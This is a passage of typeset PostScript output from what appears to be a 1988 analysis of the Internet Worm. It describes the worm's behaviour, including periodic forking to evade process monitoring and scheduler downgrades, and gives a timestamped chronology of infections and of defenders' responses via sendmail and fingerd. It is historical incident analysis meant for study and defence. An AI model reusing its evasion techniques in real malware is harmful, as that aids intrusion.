2915(the)S
3070(intended)S
3447(ruse)S
3646(or)S
3762(whether)S
4116(there)S
4348(was)S
4536(some)S
4780(reason)S
4224 V
720(for)S
868(the)S
1022(byte)S
1226(to)S
1336(be)S
1462(sent)S
1655(is)S
1754(not)S
1914(currently)S
2306(known.)S
2665(However,)S
3087(the)S
3241(code)S
3461(is)S
3560(such)S
3775(that)S
3957(an)S
4083(uninitialized)S
4615(byte)S
4819(is)S
4918(the)S
4344 V
720(intended)S
1099(message.)S
1527(It)S
1623(is)S
1725(possible)S
2088(that)S
2274(the)S
2432(author)S
2723(eventually)S
3175(intended)S
3555(to)S
3669(run)S
3838(some)S
4085(monitoring)S
4566(program)S
4940(on)S
4464 V
720(ernie)S
960(\(after)S
1216(breaking)S
1606(into)S
1803(an)S
1938(account,)S
2314(perhaps\).)S
2753(Such)S
2994(a)S
3079(program)S
3458(could)S
3721(obtain)S
4012(the)S
4175(sending)S
4527(host)S
4735(number)S
4584 V
720(from)S
951(the)S
1110(single-byte)S
1591(message,)S
1991(whether)S
2349(it)S
2442(was)S
2634(sent)S
2832(as)S
2952(a)S
3033(TCP)S
3254(or)S
3375(UDP)S
3613(packet.)S
3966(However,)S
4394(no)S
4532(evidence)S
4924(for)S
4704 V
720(such)S
937(a)S
1015(program)S
1387(has)S
1553(been)S
1774(found)S
2040(and)S
2217(it)S
2306(is)S
2406(possible)S
2767(that)S
2950(the)S
3105(connection)S
3576(was)S
3764(simply)S
4070(a)S
4147(feint)S
4363(to)S
4474(cast)S
4662(suspicion)S
4824 V
720(on)S
850(personnel)S
1268(at)S
1370(Berkeley.)S
4980 V
970(The)S
1158(Worm)S
1446(would)S
1729(also)S
10 I
1923(fork)S
10 R
2117(itself)S
2350(on)S
2484(a)S
2562(regular)S
2878(basis)S
3112(and)S
10 I
3290(kill)S
10 R
3452(its)S
3581(parent.)S
3919(This)S
4131(has)S
4298(two)S
4482(e)S
4526 H
	(f)show 10 -.5 mul h (f)show
10 R
4587(ects.)S
4831(First,)S
5100 V
720(the)S
880(Worm)S
1173(appeared)S
1570(to)S
1686(keep)S
1912(changing)S
2316(its)S
2449(process)S
2786(identi\256er)S
3185(and)S
3367(no)S
3505(single)S
3781(process)S
4117(accumulated)S
4658(excessive)S
5220 V
720(amounts)S
1103(of)S
1230(cpu)S
1419(time.)S
1697(Secondly,)S
2139(processes)S
2566(that)S
2761(have)S
2994(been)S
3227(running)S
3583(for)S
3744(a)S
3833(long)S
4056(time)S
4279(have)S
4512(their)S
4740(priority)S
5340 V
720(downgraded)S
1260(by)S
1407(the)S
1576(scheduler.)S
2060(By)S
2224(forking,)S
2590(the)S
2759(new)S
2971(process)S
3316(would)S
3612(regain)S
3907(normal)S
4236(scheduling)S
4715(priority.)S
5460 V
720(This)S
945(mechanism)S
1447(did)S
1622(not)S
1797(always)S
2121(work)S
2373(correctly,)S
2799(either,)S
3098(as)S
3228(locally)S
3547(we)S
3710(observed)S
4117(some)S
4375(instances)S
4788(of)S
4918(the)S
5580 V
720(Worm)S
1005(with)S
1213(over)S
1420(600)S
1600(seconds)S
1946(of)S
2059(accumulated)S
2593(cpu)S
2767(time.)S
5736 V
970(If)S
1075(the)S
1236(Worm)S
1530(was)S
1724(present)S
2051(on)S
2190(a)S
2273(machine)S
2651(for)S
2807(more)S
3052(than)S
3264(12)S
3404(hours,)S
3691(it)S
3787(would)S
4077(\257ush)S
4312(its)S
4447(host)S
4654(list)S
4817(of)S
4940(all)S
5856 V
720(entries)S
1019(\257agged)S
1346(as)S
1462(being)S
1717(immune)S
2078(or)S
2194(already)S
2519(infected.)S
2927(The)S
3114(way)S
3312(hosts)S
3550(were)S
3775(added)S
4045(to)S
4155(this)S
4332(list)S
4487(implies)S
4814(that)S
4996(a)S
5976 V
720(single)S
989(Worm)S
1274(might)S
1538(reinfect)S
1872(the)S
2024(same)S
2259(machines)S
2666(every)S
2917(12)S
3047(hours.)S
6216 V
10 B
720(4.)S
855(Chronology)S
6372 V
10 R
970(What)S
1223(follows)S
1560(is)S
1664(an)S
1795(abbreviated)S
2297(chronology)S
2789(of)S
2909(events)S
3201(relating)S
3543(to)S
3658(the)S
3817(release)S
4131(of)S
4252(the)S
4412(Internet)S
4760(Worm.)S
6492 V
720(Most)S
960(of)S
1077(this)S
1256(information)S
1762(was)S
1950(gathered)S
2326(from)S
2553(personal)S
2924(mail,)S
3160(submissions)S
3683(to)S
3794(mailing)S
4133(lists,)S
4353(and)S
4530(Usenet)S
4840(post-)S
6612 V
720(ings.)S
982(Some)S
1250(items)S
1507(were)S
1740(taken)S
1996(from)S
2230([24])S
2436( and)S
2650([1],)S
2831( and)S
3045(are)S
3206(marked)S
3545(accordingly.)S
4111(This)S
4329(is)S
4437(certainly)S
4827(not)S
4996(a)S
6712 V
8 Y1
720(333333333333333333)S
6830 V
8 R
820(*)S
8 I
900(rexec)S
8 R
1095(is)S
1172(a)S
1231(remote)S
1475(command)S
1813(execution)S
2146(service.)S
2439(It)S
2512(requires)S
2792(that)S
2936(a)S
2996(username/password)S
3648(combination)S
4071(be)S
4171(supplied)S
4466(as)S
4557(part)S
6930 V
720(of)S
810(the)S
931(request.)S
7048 V
820(\262)S
900(This)S
1066(was)S
1214(compiled)S
1534(in)S
1620(as)S
1710(port)S
1862(number)S
2129(23357,)S
2373(on)S
2477(host)S
2634(127.0.0.1)S
2958(\(loopback\).)S
7166 V
820(\263)S
900(Using)S
1115(TCP)S
1287(port)S
1439(11357)S
1663(on)S
1767(host)S
1924(128.32.137.13.)S
2452(UDP)S
2637(is)S
2714(an)S
2813(Internet)S
3083(unreliable)S
3424(data)S
3580(packet)S
3811(transmission)S
4237(protocol.)S
7920 V
EP
%%Page: 11 12
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2767(- 11 -)S
840 V
720(complete)S
1129(chronology\320many)S
1949(other)S
2197(sites)S
2418(were)S
2654(a)S
2698 H
	(f)show 10 -.5 mul h (f)show
10 R
2759(ected)S
3012(by)S
3155(the)S
3320(Worm)S
3618(but)S
3789(are)S
3953(not)S
4124(listed)S
4384(here.)S
4653(Note)S
4890(that)S
960 V
720(because)S
1066(of)S
1180(clock)S
1427(drift)S
1630(and)S
1804(machine)S
2172(crashes,)S
2520(some)S
2761(of)S
2874(the)S
3026(times)S
3273(given)S
3525(here)S
3726(may)S
3928(not)S
4086(be)S
4210(completely)S
4684(accurate.)S
1080 V
720(They)S
955(should)S
1252(convey)S
1570(an)S
1694(approximation)S
2308(to)S
2417(the)S
2570(sequence)S
2966(of)S
3080(events,)S
3391(however.)S
3820(All)S
3979(times)S
4227(are)S
4379(given)S
4632(in)S
4741(Eastern)S
1200 V
720(Standard)S
1105(Time.)S
1356 V
970(It)S
1079(is)S
1194(particularly)S
1702(interesting)S
2172(to)S
2298(note)S
2518(how)S
2738(quickly)S
3086(and)S
3278(how)S
3498(widely)S
3818(the)S
3988(Worm)S
4291(spread.)S
4654(It)S
4763(is)S
4879(also)S
1476 V
720(signi\256cant)S
1170(to)S
1281(note)S
1486(how)S
1690(quickly)S
2022(it)S
2110(was)S
2297(identi\256ed)S
2707(and)S
2883(stopped)S
3226(by)S
3358(an)S
3484(ad)S
3610(hoc)S
3786(collection)S
4212(of)S
4327(``Worm)S
4680(hunters'')S
1596 V
720(using)S
967(the)S
1119(same)S
1354(network)S
1711(to)S
1819(communicate)S
2387(their)S
2600(results.)S
1836 V
10 B
720(November)S
1193(2,)S
1298(1988)S
2016 V
10 R
720(~1700)S
1260(Worm)S
1547(executed)S
1934(on)S
2067(a)S
2144(machine)S
2515(at)S
2620(Cornell)S
2953(University.)S
3433(\(NCSC\))S
3794(Whether)S
4170(this)S
4348(was)S
4536(a)S
4613(last)S
4785(test)S
4957(or)S
2136 V
1260(the)S
1412(initial)S
1676(execution)S
2094(is)S
2191(not)S
2349(known.)S
2256 V
720(~1800)S
1260(Machine)S
10 I
1645(prep.ai.mit.edu)S
10 R
2289(at)S
2397(MIT)S
2617(infected.)S
3000(\(Seely,)S
3317(mail\))S
3565(This)S
3780(may)S
3989(have)S
4214(been)S
4439(the)S
4598(initial)S
4869(exe-)S
2376 V
1260(cution.)S
1605(Prep)S
1828(is)S
1935(a)S
2019(public-access)S
2596(machine,)S
2998(used)S
3220(for)S
3375(storage)S
3702(and)S
3885(distribution)S
4386(of)S
4508(GNU)S
4763(project)S
2496 V
1260(software.)S
1693(It)S
1789(is)S
1891(con\256gured)S
2353(with)S
2566(some)S
2812(notorious)S
3225(security)S
3576(holes)S
3822(that)S
4008(allow)S
4266(anonymous)S
4763(remote)S
2616 V
1260(users)S
1495(to)S
1603(introduce)S
2010(\256les)S
2207(into)S
2393(the)S
2545(system.)S
2736 V
774(1830)S
1260(Infected)S
1626(machine)S
2004(at)S
2116(the)S
2278(University)S
2740(of)S
2863(Pittsburgh)S
3315(infects)S
3621(a)S
3705(machine)S
4083(at)S
4195(the)S
4357(RAND)S
4680(Corpora-)S
2856 V
1260(tion.)S
1471(\(NCSC\))S
2976 V
774(2100)S
1260(Worm)S
1545(discovered)S
2007(on)S
2137(machines)S
2544(at)S
2646(Stanford.)S
3045(\(NCSC\))S
3096 V
774(2130)S
1260(First)S
1474(machine)S
1842(at)S
1944(the)S
2096(University)S
2548(of)S
2661(Minnesota)S
3113(invaded.)S
3484(\(mail\))S
3216 V
774(2204)S
1260(Gateway)S
1666(machine)S
2056(at)S
2180(University)S
2654(of)S
2789(California,)S
3271(Berkeley)S
3683(invaded.)S
4106(Mike)S
4369(Karels)S
4681(and)S
4878(Phil)S
3336 V
1260(Lapsley)S
1635(discover)S
2032(this)S
2236(shortly)S
2573(afterwards)S
3052(because)S
3426(they)S
3657(noticed)S
4009(an)S
4161(unusual)S
4530(load)S
4760(on)S
4918(the)S
3456 V
1260(machine.)S
1653(\(mail\))S
3576 V
774(2234)S
1260(Gateway)S
1644(machine)S
2012(at)S
2114(Princeton)S
2527(University)S
2979(infected.)S
3355(\(mail\))S
3696 V
720(~2240)S
1260(Machines)S
1700(at)S
1824(the)S
1998(University)S
2472(of)S
2607(North)S
2892(Carolina)S
3288(are)S
3461(infected)S
3835(and)S
4032(attempt)S
4385(to)S
4516(invade)S
4835(other)S
3816 V
1260(machines.)S
1739(Attempts)S
2153(on)S
2300(machines)S
2724(at)S
2843(MCNC)S
3185(\(Microelectronics)S
3941(Center)S
4254(of)S
4384(North)S
4663(Carolina\))S
3936 V
1260(start)S
1462(at)S
1564(2240.)S
1819(\(mail\))S
4056 V
774(2248)S
1260(Machines)S
1678(at)S
1780(SRI)S
1966(infected)S
2317(via)S
2469(sendmail.)S
2885(\(mail\))S
4176 V
774(2252)S
1260(Worm)S
1545(attempts)S
1914(to)S
2022(invade)S
2318(machine)S
2686(andrew.cmu.edu)S
3375(at)S
3477(Carnegie-Mellon)S
4189(University.)S
4696(\(mail\))S
4296 V
774(2254)S
1260(Gateway)S
1652(hosts)S
1896(at)S
2006(the)S
2167(University)S
2628(of)S
2750(Maryland)S
3177(come)S
3432(under)S
3698(attack)S
3975(via)S
4136(\256ngerd)S
4458(daemon.)S
4868(Evi-)S
4416 V
1260(dence)S
1522(is)S
1619(later)S
1826(found)S
2089(that)S
2269(other)S
2504(local)S
2728(hosts)S
2964(are)S
3115(already)S
3438(infected.)S
3844(\(mail\))S
4536 V
774(2259)S
1260(Machines)S
1685(at)S
1794(University)S
2253(of)S
2373(Pennsylvania)S
2943(attacked,)S
3337(but)S
3503(none)S
3735(are)S
3894(susceptible.)S
4431(Logs)S
4669(will)S
4863(later)S
4656 V
1260(show)S
1501(210)S
1681(attempts)S
2050(over)S
2257(next)S
2459(12)S
2589(hours.)S
2866(\(mail\))S
4776 V
720(~2300)S
1260(AI)S
1395(Lab)S
1580(machines)S
1987(at)S
2089(MIT)S
2302(infected.)S
2678(\(NCSC\))S
4896 V
774(2328)S
1260(mimsy.umd.edu)S
1935(at)S
2037(University)S
2489(of)S
2602(Maryland)S
3020(is)S
3117(infected)S
3468(via)S
3620(sendmail.)S
4036(\(mail\))S
5016 V
774(2340)S
1260(Researchers)S
1777(at)S
1885(Berkeley)S
2282(discover)S
2657(sendmail)S
3055(and)S
3236(rsh)S
3395(as)S
3515(means)S
3807(of)S
3927(attack.)S
4257(They)S
4499(begin)S
4758(to)S
4873(shut)S
5136 V
1260(o)S
1310 H
	(f)show 10 -.5 mul h (f)show
10 R
1401(other)S
1636(network)S
1993(services)S
2344(as)S
2457(a)S
2531(precaution.)S
3007(\(Seeley\))S
5256 V
774(2345)S
1260(Machines)S
1682(at)S
1788(Dartmouth)S
2255(and)S
2433(the)S
2589(Army)S
2856(Ballistics)S
3263(Research)S
3662(Lab)S
3852(\(BRL\))S
4148(attacked)S
4515(and)S
4694(infected.)S
5376 V
1260(\(mail,)S
1526(NCSC\))S
5496 V
774(2349)S
1260(Gateway)S
1645(machine)S
2014(at)S
2117(the)S
2270(University)S
2723(of)S
2838(Utah)S
3064(infected.)S
3472(In)S
3587(the)S
3741(next)S
3945(hour,)S
4185(the)S
4339(load)S
4543(average)S
4884(will)S
5616 V
1260(soar)S
1456(to)S
1564(100)S
5566 V
7 R
1714(*)S
5616 V
10 R
1779(because)S
2124(of)S
2237(repeated)S
2604(infections.)S
3053(\(Seeley\))S
5916 V
10 B
720(November)S
1193(3,)S
1298(1988)S
6096 V
10 R
774(0007)S
1260(University)S
1712(of)S
1825(Arizona)S
2176(machine)S
2544(arizona.edu)S
3036(infected.)S
3412(\(mail\))S
6216 V
774(0021)S
1260(Princeton)S
1685(University)S
2149(main)S
2391(machine)S
2771(\(a)S
2890(V)S
8 R
2962(AX)S
10 R
3120(8650\))S
3395(infected.)S
3813(Load)S
4060(average)S
4412(reaches)S
4753(68)S
4896(and)S
6336 V
1260(the)S
1412(machine)S
1780(crashes.)S
2128(\(mail\))S
6456 V
774(0033)S
1260(Machine)S
1639(dewey.udel.edu)S
2295(at)S
2397(the)S
2549(University)S
3001(of)S
3114(Delaware)S
3525(infected,)S
3901(but)S
4059(not)S
4217(by)S
4347(sendmail.)S
4763(\(mail\))S
6576 V
774(0105)S
1260(Worm)S
1545(invades)S
1880(machines)S
2287(at)S
2389(Lawrence)S
2811(Livermore)S
3262(Labs)S
3486(\(LLL\).)S
3790(\(NCSC\))S
6696 V
774(0130)S
1260(Machines)S
1678(at)S
1780(UCLA)S
2082(infected.)S
2458(\(mail\))S
6862 V
8 Y1
720(333333333333333333)S
6980 V
8 R
820(*)S
900(The)S
1052(load)S
1217(average)S
1491(is)S
1573(an)S
1677(indication)S
2024(of)S
2119(how)S
2286(many)S
2492(processes)S
2825(are)S
2950(on)S
3059(the)S
3185(ready)S
3390(list)S
3516(awaiting)S
3819(their)S
3993(turn)S
4150(to)S
4241(execute.)S
4556(The)S
7080 V
720(normal)S
969(load)S
1130(for)S
1246(a)S
1305(gateway)S
1594(machine)S
1887(is)S
1964(usually)S
2218(below)S
2437(10)S
2541(during)S
2773(o)S
2813 H
	(f)show 8 -.5 mul h (f)show
8 R
2862(-hours.)S
7920 V
EP
%%Page: 12 13
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2767(- 12 -)S
840 V
774(0200)S
1260(The)S
1445(Worm)S
1730(is)S
1827(detected)S
2189(on)S
2319(machines)S
2726(at)S
2828(Harvard)S
3184(University.)S
3661(\(NCSC\))S
960 V
774(0238)S
1260(Peter)S
1501(Yee)S
1697(at)S
1805(Berkeley)S
2201(posts)S
2444(a)S
2525(message)S
2900(to)S
3015(the)S
3174(TCP-IP)S
3517(mailing)S
3860(list:)S
4048(``We)S
4289(are)S
4447(under)S
4711(attack.'')S
1080 V
1260(A)S
1332 H
	(f)show 10 -.5 mul h (f)show
10 R
1393(ected)S
1650(sites)S
1875(mentioned)S
2344(in)S
2469(the)S
2638(posting)S
2980(include)S
3321(U.)S
3465(C.)S
3604(Berkeley,)S
4036(U.)S
4180(C.)S
4319(San)S
4516(Diego,)S
4832(LLL,)S
1200 V
1260(Stanford,)S
1659(and)S
1833(NASA)S
2135(Ames.)S
2423(\(mail\))S
1320 V
720(~0315)S
1260(Machines)S
1679(at)S
1782(the)S
1935(University)S
2388(of)S
2502(Chicago)S
2866(are)S
3018(infected.)S
3425(One)S
3622(machine)S
3991(in)S
4100(the)S
4253(Physics)S
4591(department)S
1440 V
1260(logs)S
1458(over)S
1666(225)S
1847(infection)S
2233(attempts)S
2603(via)S
2756(\256ngerd)S
3070(from)S
3295(machines)S
3702(at)S
3804(Cornell)S
4134(during)S
4425(the)S
4577(time)S
4785(period)S
1560 V
1260(midnight)S
1652(to)S
1760(0730.)S
2015(\(mail\))S
1680 V
774(0334)S
1260(Warning)S
1656(about)S
1925(the)S
2094(Worm)S
2396(is)S
2510(posted)S
2818(anonymously)S
3404(\(from)S
3678(``foo@bar.arpa''\))S
4438(to)S
4564(the)S
4734(TCP-IP)S
1800 V
1260(mailing)S
1609(list:)S
1803(``There)S
2143(may)S
2357(be)S
2493(a)S
2579(virus)S
2821(loose)S
3074(on)S
3216(the)S
3380(internet.'')S
3848(What)S
4106(follows)S
4448(are)S
4611(three)S
4852(brief)S
1920 V
1260(statements)S
1714(of)S
1829(how)S
2033(to)S
2143(stop)S
2342(the)S
2496(Worm,)S
2808(followed)S
3195(by)S
3328(``Hope)S
3643(this)S
3821(helps,)S
4090(but)S
4251(more,)S
4514(I)S
4580(hope)S
4807(it)S
4896(is)S
4996(a)S
2040 V
1260(hoax.'')S
1605(The)S
1790(poster)S
2064(is)S
2161(later)S
2368(revealed)S
2735(to)S
2843(be)S
2967(Andy)S
3219(Sudduth)S
3583(of)S
3696(Harvard,)S
4077(who)S
4279(was)S
4464(phoned)S
4788(by)S
4918(the)S
2160 V
1260(Worm's)S
1622(alleged)S
1945(author,)S
2260(Robert)S
2567(T.)S
2688(Morris.)S
3050(Due)S
3252(to)S
3366(network)S
3729(and)S
3909(machine)S
4283(loads,)S
4555(the)S
4713(warning)S
2280 V
1260(is)S
1357(not)S
1515(propagated)S
1988(for)S
2134(well)S
2336(over)S
2543(24)S
2673(hours.)S
2980(\(mail,)S
3246(Seeley\))S
2400 V
720(~0400)S
1260(Colorado)S
1662(State)S
1892(University)S
2344(attacked.)S
2731(\(mail\))S
2520 V
720(~0400)S
1260(Machines)S
1678(at)S
1780(Purdue)S
2093(University)S
2545(infected.)S
2640 V
774(0554)S
1260(Keith)S
1522(Bostic)S
1818(mails)S
2075(out)S
2243(a)S
2327(warning)S
2694(about)S
2956(the)S
3118(Worm,)S
3439(plus)S
3647(a)S
3732(patch)S
3989(to)S
4108(sendmail.)S
4565(His)S
4745(posting)S
2760 V
1260(goes)S
1479(to)S
1593(the)S
1751(TCP-IP)S
2093(list,)S
2277(the)S
2435(Usenix)S
2754(4bsd-ucb-\256xes)S
3378(newsgroup,)S
3876(and)S
4055(selected)S
4411(site)S
4585(administra-)S
2880 V
1260(tors)S
1440(around)S
1747(the)S
1899(country.)S
2259(\(mail,)S
2525(Seeley\))S
3000 V
774(0645)S
1260(Cli)S
1383 H
	(f)show 10 -.5 mul h (f)show
10 R
1444(ord)S
1614(Stoll)S
1841(calls)S
2061(the)S
2220(National)S
2601(Computer)S
3038(Security)S
3408(Center)S
3711(and)S
3892(informs)S
4241(them)S
4479(of)S
4600(the)S
4760(Worm.)S
3120 V
1260(\(NCSC\))S
3240 V
720(~0700)S
1260(Machines)S
1689(at)S
1802(Georgia)S
2164(Institute)S
2533(of)S
2657(Technology)S
3175(are)S
3337(infected.)S
3754(Gateway)S
4150(machine)S
4530(\(a)S
4649(Vax)S
4857(780\))S
3360 V
1260(load)S
1462(average)S
1801(begins)S
2092(climb)S
2350(past)S
2541(30.)S
2696(\(mail\))S
3480 V
774(0730)S
1260(I)S
1324(discover)S
1693(infection)S
2079(on)S
2210(machines)S
2618(at)S
2721(Purdue)S
3035(University.)S
3543(Machines)S
3962(are)S
4114(so)S
4234(overloaded)S
4709(I)S
4774(cannot)S
3600 V
1260(read)S
1465(my)S
1626(mail)S
1837(or)S
1953(news,)S
2216(including)S
2627(mail)S
2838(from)S
3065(Keith)S
3320(Bostic)S
3609(about)S
3864(the)S
4019(Worm.)S
4362(Believing)S
4784(this)S
4962(to)S
3720 V
1260(be)S
1386(related)S
1689(to)S
1800(a)S
1877(recurring)S
2275(hardware)S
2678(problem)S
3044(on)S
3177(the)S
3332(machine,)S
3728(I)S
3794(request)S
4115(that)S
4298(the)S
4453(system)S
4764(be)S
4891(res-)S
3840 V
1260(tarted.)S
3960 V
774(0807)S
1260(Edward)S
1606(Wang)S
1880(at)S
1988(Berkeley)S
2384(unravels)S
2758(\256ngerd)S
3077(attack,)S
3376(but)S
3541(his)S
3695(mail)S
3910(to)S
4025(the)S
4184(systems)S
4538(group)S
4808(is)S
4912(not)S
4080 V
1260(read)S
1461(for)S
1607(more)S
1842(than)S
2044(12)S
2174(hours.)S
2451(\(mail\))S
4200 V
774(0818)S
1260(I)S
1335(read)S
1548(Keith's)S
1884(mail.)S
2159(I)S
2234(forward)S
2591(his)S
2750(warning)S
3120(to)S
3241(the)S
3406(Usenet)S
10 I
3726(news.announce.important)S
10 R
4802(news-)S
4320 V
1260(group,)S
1554(to)S
1668(the)S
1826(nntp-managers)S
2455(mailing)S
2797(list,)S
2980(and)S
3159(to)S
3272(over)S
3484(30)S
3619(other)S
3859(site)S
4033(admins.)S
4412(This)S
4625(is)S
4727(the)S
4884(\256rst)S
4440 V
1260(notice)S
1540(most)S
1771(of)S
1890(these)S
2131(people)S
2433(get)S
2591(about)S
2849(the)S
3007(Worm.)S
3353(This)S
3567(group)S
3836(exchanges)S
4287(mail)S
4501(all)S
4637(day)S
4818(about)S
4560 V
1260(progress)S
1631(and)S
1808(behavior)S
2190(of)S
2306(the)S
2461(Worm,)S
2774(and)S
2951(eventually)S
3400(becomes)S
3782(the)S
10 I
3937(phage)S
10 R
4214(mailing)S
4553(list)S
4709(based)S
4968(at)S
4680 V
1260(Purdue)S
1573(with)S
1781(over)S
1988(300)S
2168(recipients.)S
4800 V
720(~0900)S
1260(Machines)S
1678(on)S
1808(Nysernet)S
2198(found)S
2461(to)S
2569(be)S
2693(infected.)S
3069(\(mail\))S
4920 V
774(1036)S
1260(I)S
1328(mail)S
1542(\256rst)S
1734(description)S
2214(of)S
2333(how)S
2541(the)S
2699(Worm)S
2990(works)S
3270(to)S
3384(the)S
3542(mailing)S
3884(list)S
4043(and)S
4223(to)S
4337(the)S
4495(Risks)S
4754(Digest.)S
5040 V
1260(The)S
1445(\256ngerd)S
1758(attack)S
2026(is)S
2123(not)S
2281(yet)S
2433(known.)S
5160 V
774(1130)S
1260(The)S
1447(Defense)S
1805(Communications)S
2521(Agency)S
2863(inhibits)S
3196(the)S
3350(mailbridges)S
3854(between)S
4218(Arpanet)S
4571(and)S
4748(Milnet.)S
5280 V
1260(\(NCSC\))S
5400 V
774(1200)S
1260(Over)S
1490(120)S
1671(machines)S
2079(at)S
2182(SRI)S
2370(in)S
2480(the)S
2634(Science)S
2976(&)S
3086(Technology)S
3595(center)S
3870(are)S
4023(shut)S
4222(down.)S
4531(Between)S
4912(1/3)S
5520 V
1260(and)S
1434(1/2)S
1592(are)S
1743(found)S
2006(to)S
2114(be)S
2238(infected.)S
2614(\(mail\))S
5640 V
774(1450)S
1260(Personnel)S
1686(at)S
1790(Purdue)S
2105(discover)S
2475(machines)S
2884(with)S
3094(patched)S
3436(versions)S
3801(of)S
3916(sendmail)S
4310(reinfected.)S
4796(I)S
4862(mail)S
5760 V
1260(and)S
1450(post)S
1663(warning)S
2036(that)S
2232(the)S
2400(sendmail)S
2807(patch)S
3069(by)S
3215(itself)S
3460(is)S
3572(not)S
3745(su)S
3834 H
	(f)show 10 -.5 mul h (\256)show
10 R
3918(cient)S
4157(protection.)S
4662(This)S
4885(was)S
5880 V
1260(known)S
1568(at)S
1676(various)S
2006(sites,)S
2245(including)S
2659(Berkeley)S
3055(and)S
3235(MIT,)S
3479(over)S
3692(12)S
3828(hours)S
4087(earlier)S
4378(but)S
4543(never)S
4801(publi-)S
6000 V
1260(cized.)S
6120 V
774(1600)S
1260(System)S
1592(admins)S
1918(of)S
2038(Purdue)S
2358(systems)S
2712(meet)S
2943(to)S
3058(discuss)S
3384(local)S
3615(strategy.)S
4023(Captured)S
4426(versions)S
4797(of)S
4918(the)S
6240 V
1260(Worm)S
1548(suggest)S
1881(a)S
1958(way)S
2157(to)S
2268(prevent)S
2600(infection:)S
3016(create)S
3286(a)S
3363(directory)S
3756(named)S
10 I
4055(sh)S
10 R
4177(in)S
4288(the)S
4442(/usr/tmp)S
4808(direc-)S
6360 V
1260(tory.)S
6480 V
774(1800)S
1260(Mike)S
1516(Spitzer)S
1844(and)S
2033(Mike)S
2290(Rowan)S
2619(of)S
2748(Purdue)S
3077(discover)S
3461(how)S
3679(the)S
3847(\256nger)S
4126(bug)S
4322(works.)S
4667(A)S
4785(mailer)S
6600 V
1260(error)S
1483(causes)S
1773(their)S
1986(explanation)S
2482(to)S
2590(fail)S
2753(to)S
2861(leave)S
3101(Purdue)S
3414(machines.)S
6720 V
774(1900)S
1260(Bill)S
1441(Sommer\256eld)S
1988(of)S
2101(MIT)S
2314(recreates)S
2697(\256ngerd)S
3010(attack)S
3278(and)S
3453(phones)S
3767(Berkeley)S
4158(with)S
4367(this)S
4543(information.)S
6840 V
1260(Nothing)S
1618(is)S
1715(mailed)S
2017(or)S
2130(posted)S
2421(about)S
2673(this)S
2848(avenue)S
3160(of)S
3273(attack.)S
3566(\(mail,)S
3832(Seeley\))S
6960 V
774(1919)S
1260(Keith)S
1519(Bostic)S
1812(posts)S
2055(and)S
2236(mails)S
2490(new)S
2693(patches)S
3029(for)S
3183(sendmail)S
3582(and)S
3764(\256ngerd.)S
4140(They)S
4383(are)S
4542(corrupted)S
4962(in)S
7080 V
1260(transit.)S
1595(Many)S
1858(sites)S
2066(do)S
2196(not)S
2354(receive)S
2671(them)S
2901(until)S
3115(the)S
3267(next)S
3469(day.)S
3698(\(mail,)S
3964(Seeley\))S
7920 V
EP
%%Page: 13 14
BP
/slant 0 def
/height 1.000000 def
10 R
10 R
480 V
2767(- 13 -)S
840 V
774(1937)S
1260(Tim)S
1460(Becker)S
1775(of)S
1892(the)S
2048(University)S
2504(of)S
2621(Rochester)S
3054(mails)S
3305(out)S
3467(description)S
3945(of)S
4062(the)S
4218(\256ngerd)S
4535(attack.)S
4862(This)S
960 V
1260(one)S
1434(reaches)S
1762(the)S
10 I
1914(phage)S
10 R
2188(mailing)S
2524(list.)S
2702(\(mail\))S
1080 V
774(2100)S
1260(My)S
1433(original)S
1778(mail)S
1990(about)S
2246(the)S
2402(Worm,)S
2716(sent)S
2911(at)S
3017(0818,)S
3276(\256nally)S
3566(reaches)S
3898(the)S
4054(University)S
4510(of)S
4627(Maryland.)S
1200 V
1260(\(mail\))S
1320 V
774(2120)S
1260(Personnel)S
1698(at)S
1814(Purdue)S
2141(verify,)S
2448(after)S
2674(repeated)S
3055(attempts,)S
3463(that)S
3657(creating)S
4023(a)S
4112(directory)S
4517(named)S
10 I
4828(sh)S
10 R
4962(in)S
1440 V
1260(/usr/tmp)S
1624(prevents)S
1992(infection.)S
2432(I)S
2495(post)S
2692(this)S
2867(information)S
3369(to)S
10 I
3477(phage.)S
1560 V
10 R
774(2130)S
1260(Group)S
1545(at)S
1647(Berkeley)S
2037(begins)S
2328(decompiling)S
2858(Worm)S
3143(into)S
3329(C)S
3426(code.)S
3669(\(Seeley\))S
1860 V
10 B
720(November)S
1193(4,)S
1298(1988)S
2040 V
10 R
720(0050)S
1260(Bill)S
1460(Sommer\256eld)S
2026(mails)S
2292(out)S
2469(description)S
2962(of)S
3095(\256ngerd)S
3428(attack.)S
3741(He)S
3907(also)S
4118(makes)S
4423(\256rst)S
4629(comments)S
2160 V
1260(about)S
1512(the)S
1664(coding)S
1966(style)S
2185(of)S
2298(the)S
2450(Worm's)S
2807(author.)S
3117(\(mail\))S
2280 V
720(0500)S
1260(MIT)S
1473(group)S
1736(\256nishes)S
2072(code)S
2290(decompilation.)S
2917(\(mail,)S
3183(NCSC\))S
2400 V
720(0900)S
1260(Berkeley)S
1650(group)S
1913(\256nishes)S
2249(code)S
2467(decompilation.)S
3094(\(mail,)S
3360(NCSC,)S
3677(Seeley\))S
2520 V
720(1100)S
1260(Milnet-Arpanet)S
1911(mailbridges)S
2413(restored.)S
2789(\(NCSC\))S
2640 V
720(1420)S
1260(Keith)S
1512(Bostic)S
1798(reposts)S
2111(\256x)S
2247(to)S
2355(\256ngerd.)S
2693(\(mail\))S
2760 V
720(1536)S
1260(Ted)S
1445(Ts'o)S
1658(of)S
1771(MIT)S
1984(posts)S
2220(clari\256cation)S
2727(of)S
2840(how)S
3042(Worm)S
3327(operates.)S
3714(\(mail\))S
2880 V
720(1720)S
1260(Keith)S
1512(Bostic)S
1798(posts)S
2034(\256nal)S
2242(set)S
2383(of)S
2496(patches)S
2825(for)S
2971(sendmail)S
3362(and)S
3537(\256ngerd.)S
3906(Included)S
4286(is)S
4384(humorous)S
4815(set)S
4957(of)S
3000 V
1260(\256xes)S
1479(to)S
1587(bugs)S
1806(in)S
1914(the)S
2066(decompiled)S
2562(Worm)S
2847(source)S
3137(code.)S
3380(\(mail\))S
3120 V
720(2130)S
1260(John)S
1503(Markho)S
1819 H
	(f)show 10 -.5 mul h (f)show
10 R
1935(of)S
2073(the)S
2250(New)S
2493(York)S
2753(Times)S
3058(tells)S
3280(me)S
3457(in)S
3590(a)S
3689(phone)S
3988(conversation)S
4553(that)S
4758(he)S
4907(has)S
3240 V
1260(identi\256ed)S
1679(the)S
1842(author)S
2138(of)S
2262(the)S
2425(Worm)S
